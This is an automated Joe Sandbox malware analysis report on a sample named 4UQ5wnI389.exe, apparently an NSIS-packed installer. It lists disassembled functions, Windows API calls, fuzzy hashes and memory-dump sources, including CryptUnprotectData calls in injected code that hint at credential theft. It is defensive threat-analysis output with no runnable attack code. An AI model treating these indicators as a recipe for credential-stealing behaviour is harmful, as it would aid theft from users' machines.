Opcode Fuzzy Hash: e6f2d185303f9d7da325a3e523a56c8319413de26242421ef53a440e99725a78
Instruction Fuzzy Hash: 61F0AC732061387BD6211BA79C4CDDBBE9CEF8B2F5B210225F728925B086A25D11D7F1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75572EE0,00403A1A,75573420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 701410E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7014116A
GlobalFree.KERNEL32(00000000), ref: 701411C7
GlobalFree.KERNEL32(00000000), ref: 701411D9
GlobalFree.KERNEL32(?), ref: 70141203

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: d834425ae3be495308c6e459d3728c7e6a5ea9b0b08c2329119b2078aea64dbd
Instruction ID: 610d53d8ba02072c99f0d4b72ff41a7541aacf3db57b211f0cf91b19fe8140ad
Opcode Fuzzy Hash: d834425ae3be495308c6e459d3728c7e6a5ea9b0b08c2329119b2078aea64dbd
Instruction Fuzzy Hash: 7931AEB65002019FD3008F75DD55A2E7BF8EB46710732152AFE46DBB35EB74E8018BA0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: 4UQ5wnI389.exePID: 5624, Parent PID: 6064COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.1%
Total number of Nodes:	290
Total number of Limit Nodes:	18

Executed Functions

Function 3818E8A8 Relevance: 2.0, Strings: 1, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4, xrefs: 3818EA88

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-967804232
Opcode ID: e3f05baf0dabdd1d260c16ed2955be476f0aa9cc6bfbc76a40072a83def95640
Instruction ID: d9d0f5eb84346d8f30c3f05b8874a9bb03c743f7f63ad48e83f7ca9f9aeb05f2
Opcode Fuzzy Hash: e3f05baf0dabdd1d260c16ed2955be476f0aa9cc6bfbc76a40072a83def95640
Instruction Fuzzy Hash: C382A374A00268CFDB25DF64D894BA9B7B2FB89305F5081E9D90AB7350DB319E82DF50

Function 37B1BDF0 Relevance: 2.0, Strings: 1, Instructions: 758
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4, xrefs: 37B1BFC5

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-967804232
Opcode ID: 9be8014ce6a8361a55593a57cbc014b0f5746184240115cd5d8610af5b12141e
Instruction ID: 59b5811c84d21b9659de3c80def7df0efb5d2934ed5cd09a70d7d42666a33cad
Opcode Fuzzy Hash: 9be8014ce6a8361a55593a57cbc014b0f5746184240115cd5d8610af5b12141e
Instruction Fuzzy Hash: 8272C374A01268CFDB25DFA4D894BA9B7B2FB89301F5081E9D909B7360CB319E81DF50

Function 3818D6E8 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2746168269.0000000038180000.00000040.00000800.00020000.00000000.sdmp, Offset: 38180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38180000_4UQ5wnI389.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 1b619f228ba82f91e0055cc0af9f3a316818ae61ffdf42567f8f0dc3616601a1
Instruction ID: 19653d8cb3432f784be8b038dc40488045f850d2c85c50c16939471e4cc8a7b3
Opcode Fuzzy Hash: 1b619f228ba82f91e0055cc0af9f3a316818ae61ffdf42567f8f0dc3616601a1
Instruction Fuzzy Hash: 13F16A75A00309CFEB04DFA9C845B9DBBF2BF89304F158569E409AB2A5DB70E945CF90

Function 37A6D9D9 Relevance: 1.6, APIs: 1, Instructions: 58
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000B0,?,00000000,?,?,?,?), ref: 37A6DA45

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 122a99f1f44698a447befa8095424cbf1bd207e3a8b4833413d3506868f5c54e
Instruction ID: 3d9d449a97c08a4ce064fb99ab21911e9ed8b20fc3679d76e43aa2844632965d
Opcode Fuzzy Hash: 122a99f1f44698a447befa8095424cbf1bd207e3a8b4833413d3506868f5c54e
Instruction Fuzzy Hash: D81167B6800249EFDB10CF9AC804BDEBFF5EF48320F148419EA18A7211C339A950CFA1

Function 37A6D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000B0,?,00000000,?,?,?,?), ref: 37A6DA45

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f5f66c0fe427bedb3eace3843cd1af628e0496fe429da6c32636c4f3efb013ec
Instruction ID: 49c261bf8b39e34f585aec35276db80ca991d01b0cd260d3b094a9d69f773e80
Opcode Fuzzy Hash: f5f66c0fe427bedb3eace3843cd1af628e0496fe429da6c32636c4f3efb013ec
Instruction Fuzzy Hash: F81147B2800249EFDB10CF9AC805BEEBBF4EF48360F148419E918B7251C339A950CFA5

Function 00158DA0 Relevance: 1.1, Instructions: 1138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495739a6b3eee6365fcce65e17779ff6d56ef30fd464edcaa02bc51af40a07c8
Instruction ID: 1a5479e293f5478c2084f0f95ee0d6620600ce4209d11e729b667b05e69536c5
Opcode Fuzzy Hash: 495739a6b3eee6365fcce65e17779ff6d56ef30fd464edcaa02bc51af40a07c8
Instruction Fuzzy Hash: 14A27F70A04209DFCB15CF68C994AAEBBB2FF88301F158559E815DF261D730ED89CBA1

Function 37B18650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7352f07c22f159ae0608d09b3c5887a77fac71276af937012608e9bdd176438a
Instruction ID: 32aec36f38e33263998e92cf1dc8345917fc7e2032ddd5fa7bed9b78e5364892
Opcode Fuzzy Hash: 7352f07c22f159ae0608d09b3c5887a77fac71276af937012608e9bdd176438a
Instruction Fuzzy Hash: AD72BF74E01268CFEB64DF69C884BDDBBB2BB49311F5481E9D409A7251DB34AE81CF90

Function 00155968 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ef05566b3f07d83138a88ef3b904597eaea3bff026dfe8805a6780a3032331
Instruction ID: d650a3b80acb386c24b082e859bacd99b3e871d3c5bff1b7b1afc5cf4e94b6c5
Opcode Fuzzy Hash: 33ef05566b3f07d83138a88ef3b904597eaea3bff026dfe8805a6780a3032331
Instruction Fuzzy Hash: F9128E71A00619CFDB14DFA9C854BAEBBB7BF88301F248529E815DB391DB349D85CB90

Function 00155F90 Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717670092.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac931e044a2283597d1e3dcfa63963d9225d04a5e633a9905a24c184b14029d
Instruction ID: b75bd88b51450310e5b5a000c8a6e6263475ef1235d51efc803beb53554d7c51
Opcode Fuzzy Hash: 2ac931e044a2283597d1e3dcfa63963d9225d04a5e633a9905a24c184b14029d
Instruction Fuzzy Hash: D9124130A00219DFCB15CFA9C994AADBBF2FF88316F958059E815EB261D731DD85CB90

Function 37A6C638 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e66814bd58d47ddcf95c17dc72590234753f4e9a9715150b0b8a50570ab1e6
Instruction ID: de5e1d7d61ba1eb0ee96395255b9d2fc74cb064b156ddd8c83708238afddb8dc
Opcode Fuzzy Hash: 49e66814bd58d47ddcf95c17dc72590234753f4e9a9715150b0b8a50570ab1e6
Instruction Fuzzy Hash: EFE1E274E01218CFEB14CFA5D944B9DBBB2BF89304F2081AAD819BB391DB355A85CF51

Function 37A603AF Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d52563b66130955983ef4cb8b6675e349891dfb2a142d3225dfd4b61f10a4d1
Instruction ID: ba63457000b4abb8bdaf8b5b36a89c0967471378bf4c2bec8bf7b7f4ca3ad42f
Opcode Fuzzy Hash: 3d52563b66130955983ef4cb8b6675e349891dfb2a142d3225dfd4b61f10a4d1
Instruction Fuzzy Hash: D8D1D174E00218CFDB14DFA5D954BADBBB2BF88304F1081A9D819AB354DB355E86CF91

Function 37B11400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c7c159a3750b5794163ac489e44cea966d098afcb814cb89e3dc0e0f05a1497
Instruction ID: a6c794b383de99c49e5ba15a5bc1f3d55f4b5e83032aeead0a65b5a1181aebfd
Opcode Fuzzy Hash: 7c7c159a3750b5794163ac489e44cea966d098afcb814cb89e3dc0e0f05a1497
Instruction Fuzzy Hash: 6AC1D374E00218CFEB14DFA5D994B9DBBB2BF89304F2081A9D819AB354DB359E85CF50

Function 37A60C1B Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e21dcc5bbe4a0dae6f5862e6623d8a5359f662b77b3b9e92a5572e67502304
Instruction ID: 43be4a84dce75c0fbf97c511362c230d14c4e0f0f0c54c25c3fb15c2d0f0b529
Opcode Fuzzy Hash: e6e21dcc5bbe4a0dae6f5862e6623d8a5359f662b77b3b9e92a5572e67502304
Instruction Fuzzy Hash: 65A11570D00208CFEB14DFA9C948BDDBBB1BF89314F208269E518AB291DB749985CF55

Function 37A60C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745686553.0000000037A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a60000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04fa9ff21e4206d4d94c832bdc67ff67ddf9862bd3bfe6810bf16443d196f744
Instruction ID: 18d2d1988fc282d25536f7ec3c0c11206f49e56d076fc02aee704f2269f812f7
Opcode Fuzzy Hash: 04fa9ff21e4206d4d94c832bdc67ff67ddf9862bd3bfe6810bf16443d196f744
Instruction Fuzzy Hash: D0A11470E00208CFEB14DFA9C988BDDBBB1BF89315F208269E518B7291DB749985CF55

Function 37B19D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f57f0209ea4724afb5eca07937a1df092f7d769cfe6e0e86b5331282925cc788
Instruction ID: d051aa65f7e0ee9f8daf099aa10928329bc49980d54123aa25410600cca57ac8
Opcode Fuzzy Hash: f57f0209ea4724afb5eca07937a1df092f7d769cfe6e0e86b5331282925cc788
Instruction Fuzzy Hash: 2DA1A2B5E01268CFEB18CF6AC944B9DBBF2AF89300F14C1AAD409B7255DB345A85CF51

Function 37B1A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2745908912.0000000037B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37b10000_4UQ5wnI389.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2784fdfa99f04000526ae5d0d425e2a7366991ccb52fd3663ea81407adc21e7c
Instruction ID: c86d18c620eb260f4070ef823ea85d5ff68e716b7a880c083d90ad69cfbbea34
Opcode Fuzzy Hash: 2784fdfa99f04000526ae5d0d425e2a7366991ccb52fd3663ea81407adc21e7c
Instruction Fuzzy Hash: 43A171B5E01228CFEB14CF6AC984B9DFBF2AB89310F14C1AAD408B7255DB345A85CF51

